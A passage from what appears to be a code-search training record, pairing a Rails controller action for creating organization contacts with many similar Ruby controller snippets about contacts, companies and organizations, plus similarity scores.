end\n end", "def new\n @traded_contact = TradedContact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @traded_contact }\n end\n end", "def create\n @contact = Contact.new(params[:contact])\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to @contact, notice: 'Contact was successfully created.' }\n format.json { render json: @contact, status: :created, location: @contact }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @contact_message = ContactMessage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact_message }\n end\n end", "def new\n @addressbook_contact = AddressbookContact.new(params[:addressbook_contact])\n @addressbook_contact.public = params[:public] unless params[:public].nil?\n @addressbook_contact.public ||= false\n \n # Check if item ready and granted to be created\n if @addressbook_contact.nil? || !granted_to(:create, @addressbook_contact) then\n if request.xhr?\n render :update do |page| page.redirect_to :action => 'index' end\n else\n redirect_to :action => 'index'\n end\n return\n end\n\n # setup automatic default value\n @addressbook_contact.user = self.current_user\n \n build_lookup_belongs\n \n if params[:addressbook_contact] then\n if @addressbook_contact.save then\n #@addressbook_contact.update_groups( params[:addressbook_group_ids] )\n \n flash[:notice] = print_words('addressbook contact').capitalize_words + \" \\\"#{@addressbook_contact.display_name}\\\" \" + print_words('has been created')\n \n redirect_to :action => 'list_' + (@addressbook_contact.public ? 'public' : 'private'), :page => params[:page]\n else\n render :action => 'new' #, :layout => 'application'\n end \n else\n redirect_to :action => 'index' and return unless request.xhr?\n render :update do |page| \n page.hide 'add_new_button'\n page['message'].hide\n page.replace_html \"message\", ''\n page.insert_html :after,\"title\", :partial => 'new'\n end\n end \n end", "def new\n render_contact_partials\n\n @location = Location.new\n @location.contacts = [{:phone => [{}]}]\n\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @location }\n end\n end", "def new\n @contact = Contact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contact }\n end\n end", "def new\n @contact = Contact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contact }\n end\n end", "def new\n @contact = Contact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contact }\n end\n end", "def create\n @entity_contact = EntityContact.new(params[:entity_contact])\n\n respond_to do |format|\n if @entity_contact.save\n format.html { redirect_to @entity_contact, notice: 'Entity contact was successfully created.' }\n format.json { render json: @entity_contact, status: :created, location: @entity_contact }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entity_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @contact = Contact.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contact }\n end\n end", "def create\n @contact = Contact.new(contact_params)\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to contacts_path, notice: 'Contact was successfully created.' }\n format.json { render :show, status: :created, location: @contact }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contact = Contacts::Person.new(contacts_person_params.merge(user: current_user))\n company = Contacts::Company.new(contacts_company_params.merge(user: current_user)) if params[:contacts_company]\n @contact.company = company if @contact.company.nil? && !company.nil? && company.valid?\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to @contact, notice: t('controllers.contacts.people.create.success') }\n format.json { render :show, status: :created, location: @contact }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @contact = Contact.new\n if not params[:client].nil?\n @client = Client.new JSON.parse(params[:client])\n @contact.clientId = @client._id\n @contact.name = @client.nome\n @contact.email = @client.email\n @contact.phone = @client.telefone\n @contact.address = @client.endereco\n @contact.client_type = @client.client_type\n @contact.institution = @client.instituicao\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact }\n end\n end", "def create_contact(options = {})\n post(:contacts, contacts: [options]).pop\n end", "def create\n contact = Contact.create(contact_params)\n\n if contact.new_record?\n render json: { errors: contact.errors.messages }, status: 422\n else\n render json: contact, status: 201\n end\n end", "def create\n @contact = Contact.new(contact_params)\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to edit_contact_path(@contact), notice: 'Contact was successfully created.' }\n format.json { render :show, status: :created, location: @contact }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contact = contacts.new(params[:contact])\n\n if @contact.save\n redirect_to contacts_path, notice: '联系人创建成功'\n else\n render action: \"new\"\n end\n end", "def create_contact()\n Contact.new(id: rand(2000)).tap do |c|\n contacts << c\n end\n end", "def new\n @contact = Contact.new(:client => @firm, :current_date => Time.now, :next_date => 7.days.from_now.to_date)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact }\n end\n end", "def new\n @company = Company.new(:name => 'default')\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @company }\n end\n end", "def create\n @contact = Contact.new(contact_params)\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to @contact, notice: 'Contact was successfully created.' }\n format.json { render action: 'show', status: :created, location: @contact }\n else\n format.html { render action: 'new' }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organization }\n end\n end", "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organization }\n end\n end", "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organization }\n end\n end", "def create\n\t\t@contact = Contact.new(contact_params)\n\n\t\trespond_to do |format|\n\t\t\tif @contact.save\n\t\t\t\tformat.html { redirect_to user_contacts_path, notice: 'Contact was successfully created.' }\n\t\t\t\tformat.json { render action: 'show', status: :created, location: @contact }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.json { render json: @contact.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def new\n @organization_profile = OrganizationProfile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organization_profile }\n end\n end", "def new\n @contactinfo = Contactinfo.new\n # set the people_id and the type_ident for the hidden fields on the form\n @contactinfo.people_id = params[:id] \n @contactinfo.type_ident = 'Address'\n # get all the contact types for addresses to display in the select box on the form\n @contact_type = Contacttype.logged_in_user(current_user.id).where(:type_ident => ['Phone', 'Email']).all\n \n # data dump to the logger\n logger.debug \"address_type array:\"\n @contact_type.each {|ctype| logger.debug \"#{ctype.type_ident}, #{ctype.type_name}\" }\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @contactinfo }\n end\n end", "def new\n load_data\n @company = Company.new\n @contactinfo = Contactinfo.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @company }\n end\n end", "def new\r\n @company = Company.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @company }\r\n end\r\n end", "def new\n if params[:member].present? && params[:member].respond_to?(:to_i) # prefill new form with member's data\n if @member = Member.find(params[:member])\n @contact = Contact.new( company: @member.company,\n country: @member.country,\n address: @member.address,\n city: @member.city,\n postal_code: @member.postal_code,\n is_ceres_member: true,\n )\n tag_list = @member.activity_list + @member.brand_list\n tag_list << \"member\"\n @contact.tag_list = tag_list.join(',')\n end\n end\n @contact ||= Contact.new\n @contact.emails.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact }\n format.js { render template: 'contacts/new' }\n end\n # { render partial: \"new\" }\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "def new\n @serviceorg = Serviceorg.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @serviceorg }\n end\n end", "def create\n @customer = Customer.find(params[:customer_id])\n @cust_contact = @customer.cust_contacts.new(params[:cust_contact])\n\n respond_to do |format|\n if @cust_contact.save\n format.html { redirect_to @cust_contact.customer, :notice => 'Contact was successfully created.' }\n format.json { render :json => @cust_contact, :status => :created, :location => @cust_contact }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @cust_contact.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @organization = Organization.new\n respond_with(@organization)\n end", "def new\n @ucontact = Ucontact.new\n \n respond_to do |format|\n format.html # new.html.haml\n format.js # new.js.rjs\n format.xml { render :xml => @ucontact }\n format.json { render :json => @ucontact }\n end\n end", "def new\n @contactos = Contactos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contactos }\n end\n end", "def new\n @organizations = Organization.find(:all)\n @organization_user = OrganizationUser.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organization_user }\n end\n end" ]
[ "0.7933381", "0.77920806", "0.76126516", "0.75914323", "0.75884795", "0.7508172", "0.74962723", "0.74962723", "0.74962723", "0.7457012", "0.7443107", "0.7412268", "0.739191", "0.7308839", "0.72314316", "0.7210511", "0.7210511", "0.7198996", "0.7173696", "0.71705043", "0.7163021", "0.7146616", "0.7143488", "0.7115626", "0.7105606", "0.7094555", "0.7087588", "0.70808864", "0.7064111", "0.7064111", "0.7052337", "0.70460147", "0.70162845", "0.6991647", "0.698626", "0.6984532", "0.697004", "0.6965725", "0.6959649", "0.69433135", "0.69387394", "0.6916555", "0.6914455", "0.69043887", "0.69022673", "0.68999934", "0.6895826", "0.6892846", "0.6852752", "0.6846623", "0.6839679", "0.68027633", "0.6800885", "0.67894465", "0.6771754", "0.6771426", "0.6768524", "0.6761625", "0.67537963", "0.67522496", "0.67522496", "0.67522496", "0.6750292", "0.67458606", "0.6742754", "0.6741103", "0.6732007", "0.67219895", "0.6705221", "0.669657", "0.6684992", "0.66826385", "0.6680566", "0.66779447", "0.6674657", "0.6672954", "0.667239", "0.667239", "0.6669122", "0.6668963", "0.66668516", "0.66612154", "0.6655438", "0.66475064", "0.664389", "0.664389", "0.664389", "0.664389", "0.664389", "0.664389", "0.664389", "0.664389", "0.664389", "0.664389", "0.6643132", "0.66287327", "0.66236967", "0.66222036", "0.66191584", "0.661534" ]
0.73356235
13
POST /organization_contacts POST /organization_contacts.json
def create @organization_contact = OrganizationContact.new(params[:organization_contact]) if params[:id][:org_id].empty? @organization_contact.organization_id = params[:organization_contact][:organization_id] else @organization_contact.organization_id = params[:id][:org_id] end respond_to do |format| if @organization_contact.save && params[:id][:org_id].present? format.html { redirect_to organization_contacts_path(:org_id => params[:id][:org_id]), notice: 'Organization contact was successfully created.' } format.json { render json: @organization_contact, status: :created, location: @customer_contact } elsif @organization_contact.save format.html { redirect_to organizations_path, notice: 'Organization contact was successfully created.' } format.json { render json: @organization_contact, status: :created, location: @customer_contact } else format.html { render action: "new" } format.json { render json: @organization_contact.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @contact = @current_user.contacts.new(contact_params)\n if @contact.save\n render json: {status: 201, contact: @contact}\n else\n render json: {status: 400}\n end\n end", "def create_contact(options = {})\n post(:contacts, contacts: [options]).pop\n end", "def create\n @contact = Contact.new\n @contact.first_name=params[:first_name]\n @contact.last_name=params[:last_name]\n @contact.email=params[:email]\n @contact.org=params[:org]\n @contact.events=params[:events]\n @contact.interests=params[:interests]\n @contact.save\n\n contacts_list\n end", "def create\n @contact = @business.contacts.new(contact_params)\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to business_contact_path(@business, @contact), notice: 'Contact was successfully created.' }\n format.json { render json: @contact, status: :created, location: business_contact_path(@business,@contact) }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contact = Contacts::Person.new(contacts_person_params.merge(user: current_user))\n company = Contacts::Company.new(contacts_company_params.merge(user: current_user)) if params[:contacts_company]\n @contact.company = company if @contact.company.nil? && !company.nil? && company.valid?\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to @contact, notice: t('controllers.contacts.people.create.success') }\n format.json { render :show, status: :created, location: @contact }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contact = Contact.create!(contact_params)\n render json: Contact.all\n end", "def post_contact\n\t\tcontact = Contact.new\n\t\tcontact.first_name = params[:first_name]\n\t\tcontact.last_name = params[:last_name]\n\t\tcontact.phone_number = params[:phone_number]\n\t\tcontact.email = params[:email]\n\t\tcontact.save\n\t\tcurrent_agendify_user.contacts.push(contact)\n\t\tcurrent_agendify_user.save\n\t\tredirect_to root_path\n\tend", "def create\n if !params.has_key?(:ur_contact) then\n head :internal_server_error\n end\n\n params[:ur_contact].delete(:id)\n newContact = current_user.ur_contacts.new(contact_params)\n\n if newContact.save then\n render json: newContact\n else\n Rails.logger.info \"Error when creating contacts #{newContact.errors.messages}\"\n head :internal_server_error\n return\n end\n end", "def create\n @contact = @user.contacts.build(contact_params)\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to root_path, notice: 'Contact was successfully created.' }\n format.json { render :show, status: :created, location: @contact }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_contact(contact_info)\n self.refresh_access_token!\n\n contact = OpenStruct.new({\n first_name: contact_info[:first_name],\n last_name: contact_info[:last_name],\n phone: contact_info[:phone]\n })\n\n haml_template = File.read(File.join(TEMPLATES_DIR, 'contact.xml.haml'))\n request_body = Haml::Engine.new(haml_template, remove_whitespace: true).render(Object.new, {\n contact: contact,\n user: self\n })\n\n @response = @oauth_access_token.post(\n 'https://www.google.com/m8/feeds/contacts/default/full',\n {\n body: request_body,\n headers: {\n 'Content-type' => 'application/atom+xml',\n 'GData-Version' => '3.0'\n }\n }\n )\n\n @response.status == 201\n end", "def create_contact\n @contact = Spree::Address.new(contact_params)\n # Currently for demo, I will leave the country id to be 1, later update will be noticed!\n hard_code_contact(contact_params)\n respond_to do |format|\n if @contact.save\n @seller.spree_addresses << @contact\n format.html { redirect_to contacts_admin_seller_path, notice: \"Contacts #{@contact.firstname} #{@contact.lastname} is successfully created!\" }\n else\n flash[:error] = @contact.errors.full_messages\n format.html { render :new_contact }\n format.json { render :new_contact, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contact = Contact.new(contact_params)\n\n if @contact.save\n render json: @contact, status: :created, location: @contact\n else\n render json: @contact.errors, status: :unprocessable_entity\n end\n end", "def add_contacts\n \tap \"adding contacts\"\n # asking whether we are already authorized\n AddressBook.request_authorization unless AddressBook.authorized?\n\n \n if AddressBook.authorized?\n 25.times do\n person = AddressBook::Person.create(\n :first_name => Forgery::Name.first_name, \n :last_name => Forgery::Name.last_name, \n :email => [{ :value => Forgery(:internet).email_address , :label => 'Home'}], :phones => [{ :value => rand(10 ** 10).to_s, :label => 'Mobile'}])\n end\n else\n #ap \"This app is not authorized to access the address book.\"\n end\n #enVd\n end", "def create_list\n # First delete all current contacts for this user (no overlapping contacts)\n Contact.delete_all(\"user_id = #{current_user.id}\")\n \n # Parse the list (json encoded) and create individual contact entries\n if params[:contacts].nil? || params[:contacts].empty?\n return render :status => 170, :json => {:message => 'Contacts are missing.'}\n end\n contacts = ActiveSupport::JSON.decode(CGI::unescape(params[:contacts]))\n \n total_saved = 0\n contacts.each do |contact|\n # Verify this contact has all required params\n next if (!contact.key?('name') || !contact.key?('email') || !contact.key?('source'))\n\n # Create new contact entry\n Contact.create({\n :user_id => current_user.id,\n :name => contact['name'],\n :email => contact['email'],\n :source => contact['source']\n })\n\n total_saved += 1\n end\n\n render :status => 200, :json => {:message => \"Contacts saved successfully (#{total_saved} of #{contacts.size}).\"}\n end", "def create_contact(params={})\n @obj.post('create-contact', @auth.merge(params))\n end", "def post_contacts_with_http_info(contacts, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ContactsApi.post_contacts ...'\n end\n # verify the required parameter 'contacts' is set\n if @api_client.config.client_side_validation && contacts.nil?\n fail ArgumentError, \"Missing the required parameter 'contacts' when calling ContactsApi.post_contacts\"\n end\n # resource path\n local_var_path = '/contacts'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(contacts) \n\n # return_type\n return_type = opts[:return_type] || 'Contact' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ContactsApi#post_contacts\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n @contact = CompanyContact.new(params[:company_contact])\n if @contact.save\n respond_with @contact, status: :created, location: @contact\n else\n respond_with @contact, status: :unprocessable_entity\n end\n end", "def create\n @address = Address.create!(params[:address])\n @organization = Organization.new(params[:organization])\n @organization.address = @address\n \n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render json: @organization, status: :created, location: @organization }\n else\n format.html { render action: \"new\" }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def contact_params\n params.require(:contact).permit(\n :organization_id,\n :first_name,\n :last_name,\n :email,\n :phone,\n :address,\n :city,\n :region,\n :country,\n :postal_code\n )\n end", "def new\n\t\t\t\t# we are going to make a new contact yall\n\t\t\t\t# comes in like post\n\t\t\t\t# {'api_token': ..., 'contact': {}}\n\t\t\t\tcontact_params = params[:contact] # be sure to clean all the values\n\t\t\t\t# clean them up\n\t\t\t\tcontact_params = sanitize_obj(contact_params);\n\t\t\t\t# lets allow rails to build this for us automagically\n\t\t\t\tc = Contact.new\n\t\t\t\tc.from_json(contact_params.to_json) # generate from our cleaned params\n\t\t\t\t# should be it for that, as long as the keys match, rails should set it\n\t\t\t\t\n\t\t\t\t# now we can save the contact\n\t\t\t\tc.save\n\t\t\t\t@user.accounts.first.contacts << c\n\t\t\t\t@user.accounts.first.save\n\t\t\t\t\n\t\t\t\t# now let's this new contact to the client\n\t\t\t\trender json: {:status => \"success\", :contact => c}\n\t\t\tend", "def create_contact(name, telephone, email)\n\tcontact_list = {\n\t\tname: name,\n\t\ttelephone: telephone,\n\t\temail: email\n\t}\n\tcontacts = []\n\tcontacts << contact_list\nend", "def create\n @employee_contact = EmployeeContact.new(employee_contact_params)\n\n respond_to do |format|\n if @employee_contact.save\n format.html { redirect_to @employee_contact, notice: 'Employee contact was successfully created.' }\n format.json { render :show, status: :created, location: @employee_contact }\n else\n format.html { render :new }\n format.json { render json: @employee_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @entity_contact = EntityContact.new(params[:entity_contact])\n\n respond_to do |format|\n if @entity_contact.save\n format.html { redirect_to @entity_contact, notice: 'Entity contact was successfully created.' }\n format.json { render json: @entity_contact, status: :created, location: @entity_contact }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entity_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @customer = Customer.find(params[:customer_id])\n @cust_contact = @customer.cust_contacts.new(params[:cust_contact])\n\n respond_to do |format|\n if @cust_contact.save\n format.html { redirect_to @cust_contact.customer, :notice => 'Contact was successfully created.' }\n format.json { render :json => @cust_contact, :status => :created, :location => @cust_contact }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @cust_contact.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @contact = @resource.contacts.build(params[:contact])\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to(@resource, :notice => 'Contact was successfully created.') }\n else\n format.html { render :action => \"new\" }\n end\n end\n end", "def create\n @subcontractor_contact = SubcontractorContact.new(subcontractor_contact_params)\n\n respond_to do |format|\n if @subcontractor_contact.save\n format.html { redirect_to @subcontractor_contact, notice: 'Subcontractor contact was successfully created.' }\n format.json { render :show, status: :created, location: @subcontractor_contact }\n else\n format.html { render :new }\n format.json { render json: @subcontractor_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @crm_contact = CrmContact.new(params[:crm_contact])\n\n respond_to do |format|\n if @crm_contact.save\n format.html { redirect_to @crm_contact, notice: 'Crm contact was successfully created.' }\n format.json { render json: @crm_contact, status: :created, location: @crm_contact }\n else\n format.html { render action: \"new\" }\n format.json { render json: @crm_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_contacts(contacts)\n b = Builder::XmlMarkup.new\n request_xml = b.Contacts {\n contacts.each do | contact |\n contact.to_xml(b)\n end\n }\n\n response_xml = http_post(@client, \"#{@xero_url}/Contacts\", request_xml, {})\n\n response = parse_response(response_xml, {:request_xml => request_xml}, {:request_signature => 'POST/contacts'})\n response.contacts.each_with_index do | response_contact, index |\n contacts[index].contact_id = response_contact.contact_id if response_contact && response_contact.contact_id\n end\n response\n end", "def create\n @projectcontact = Projectcontact.new(params[:projectcontact])\n #@project = params[:project]\n #@contacts = params[:contact_ids]\n\n #@contacts.each do |c| \n # Projectcontact.create!(:contact_id=>5, :project_id=>params[:project])\n #end\n #redirect_to edit_project_path(@project)\n\n\n respond_to do |format|\n if @projectcontact.save\n format.html { redirect_to project_path(@projectcontact.project_id), notice: 'Contacttype was successfully created.' }\n format.json { render json: @projectcontact, status: :created, location: @projectcontact }\n else\n format.html { render action: \"new\" }\n format.json { render json: @projectcontact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @customer = Customer.find(params[:customer_id])\n @contact = @customer.contacts.build(params[:contact])\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to([@contact.customer, @contact], :notice => 'Contact was successfully created.') }\n format.json { render :json => @contact, :status => :created, :location => [@contact.customer, @contact] }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @contact.errors, :status => :unprocessable_entity }\n end\n end\n end", "def contacts(params = {})\n # contacts in this group\n @contacts = nil\n contacts!\n end", "def create(contact, organization_id)\n path = get_path(organization_id)\n result = handle_response(@client.push(path, contact.attributes))\n return if result.blank?\n\n set_contact_data(contact.attributes, result['name'])\n end", "def contacts\r\n @contact = @customer.contact_people.find_by_id params[:id]\r\n \r\n # Delete contact\r\n if @contact && params[:method] == \"delete\"\r\n @store_user.my_account_log(@contact,\"Delete Contact #{@contact.name}\")\r\n @contact.destroy\r\n @customer.update_ax( :contacts => [@contact] )\r\n redirect_to :id => nil\r\n end\r\n \r\n # Add or update contact\r\n if request.post? && params[:contact]\r\n @contact ||= @customer.contact_people.build\r\n @contact.attributes = params[:contact]\r\n if @contact.save\r\n redirect_to :id => nil\r\n else\r\n @customer.contact_people.delete @contact\r\n render\r\n end\r\n \r\n # Synchronize customer\r\n @customer.update_ax( :contacts => [@contact] ) if @contact.errors.empty?\r\n @store_user.my_account_log(@contact,\"Add or Update Contact #{@contact.name}\")\r\n end\r\n end", "def upload_contacts(params={})\n @obj.post('upload-contacts', @auth.merge(params)) # file: UploadIO.new(filepath, 'text/csv')\n end", "def create\n @contact = current_user.contacts.new(name:params[:name], email:params[:email])\n @contact = current_user.contacts.new(params[:contact])\n @server_id = params[:server_id].to_i\n @contact.save\n end", "def create\n @contact = Contact.new(contact_params)\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to contacts_path, notice: 'Contact was successfully created.' }\n format.json { render :show, status: :created, location: @contact }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n contact = Contact.create(contact_params)\n\n if contact.new_record?\n render json: { errors: contact.errors.messages }, status: 422\n else\n render json: contact, status: 201\n end\n end", "def create\n @admin_contact = Admin::Contact.new(admin_contact_params)\n\n respond_to do |format|\n if @admin_contact.save\n format.html { redirect_to admin_contacts_path, notice: mk_notice(@admin_contact, :id, 'Contact', :create) }\n format.json { render json: @admin_contact, status: :created, location: admin_contacts_path }\n else\n format.html { render :new }\n format.json { render json: @admin_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def contacts_params\n params.permit(:name, :email, :phone)\n end", "def create_contact(project_name, optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'POST'\n\t\targs[:path]['ProjectName'] = project_name\n\t\targs[:pattern] = '/projects/[ProjectName]/contacts'\n\t\targs[:query]['Action'] = 'CreateContact'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :contact\n\t\t\targs[:body]['Contact'] = optional[:contact]\n\t\tend\n\t\tself.run(args)\n\tend", "def create_a_new_contact_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ContactsAndContactListsApi.create_a_new_contact ...'\n end\n # resource path\n local_var_path = '/v3/contacts'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(opts[:'body']) \n\n return_type = opts[:return_type] \n\n auth_names = opts[:auth_names] || []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type)\n\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ContactsAndContactListsApi#create_a_new_contact\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n @people_organization = PeopleOrganization.new(people_organization_params)\n\n respond_to do |format|\n if @people_organization.save\n format.html { redirect_to @people_organization, notice: 'People organization was successfully created.' }\n format.json { render :show, status: :created, location: @people_organization }\n else\n format.html { render :new }\n format.json { render json: @people_organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #@contact = Contact.new(params[:contact])\n respond_to do |format|\n if @contact.save\n format.html { redirect_to(contacts_url, :notice => t('contacts.was_created.')) }\n format.json { render json: @contact, status: :created, location: @contact }\n format.js {\n @contacts = Contact.accessible_by current_ability\n @contacts = @contacts.order(@sort) if @sort and Contact.attribute_names.include? @sort\n }\n else\n format.html { render :action => \"new\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n format.js { render 'failure' }\n end\n end\n end", "def contacts\n contacts = params[:contacts].map{|c| c[1]}\n if contacts\n logger.debug \">>> received #{contacts.length} contacts\"\n end\n render :text => \"ok\"\n end", "def create\n @contact = Contact.new(params[:contact])\n\n respond_to do |format|\n @contact.phone_number.entity=@contact\n @contact.user=current_user\n if @contact.save\n format.html { redirect_to @contact, notice: 'Contact was successfully created.' }\n format.json { render json: @contact, status: :created, location: @contact }\n format.js\n else\n format.html { render action: \"new\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n format.js { render action: \"new\", status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\t@contact = Contact.new(contact_params)\n\n\t\trespond_to do |format|\n\t\t\tif @contact.save\n\t\t\t\tformat.html { redirect_to user_contacts_path, notice: 'Contact was successfully created.' }\n\t\t\t\tformat.json { render action: 'show', status: :created, location: @contact }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.json { render json: @contact.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def contacts\n respond_with_entity(api.get('/api/v1/profile/contacts'),\n NexaasID::Entities::Profile::Contacts)\n end", "def create\n @contact = Contact.new(contact_params)\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to edit_contact_path(@contact), notice: 'Contact was successfully created.' }\n format.json { render :show, status: :created, location: @contact }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def contacts!(params = {})\n # contacts in this group\n @contacts = nil\n contacts\n end", "def create\n @contact = contacts.new(params[:contact])\n\n if @contact.save\n redirect_to contacts_path, notice: '联系人创建成功'\n else\n render action: \"new\"\n end\n end", "def create\n\t\t@contact = Contact.new(contact_params)\n\t\tif @contact.save\n\t\t\tflash[:notice] = \"Contact sucessfully saved!\"\n\t\t\tredirect_to contacts_path\n\t \telse\n\t \t\tflash[:error] = \"Contact could not save!\"\n\t \t\t@contact.contact_phone_numbers.build unless @contact.contact_phone_numbers.present?\n\t \t\t@contact.contact_addresses.build unless @contact.contact_addresses.present?\n\t \trender 'new'\n\t \tend\n\tend", 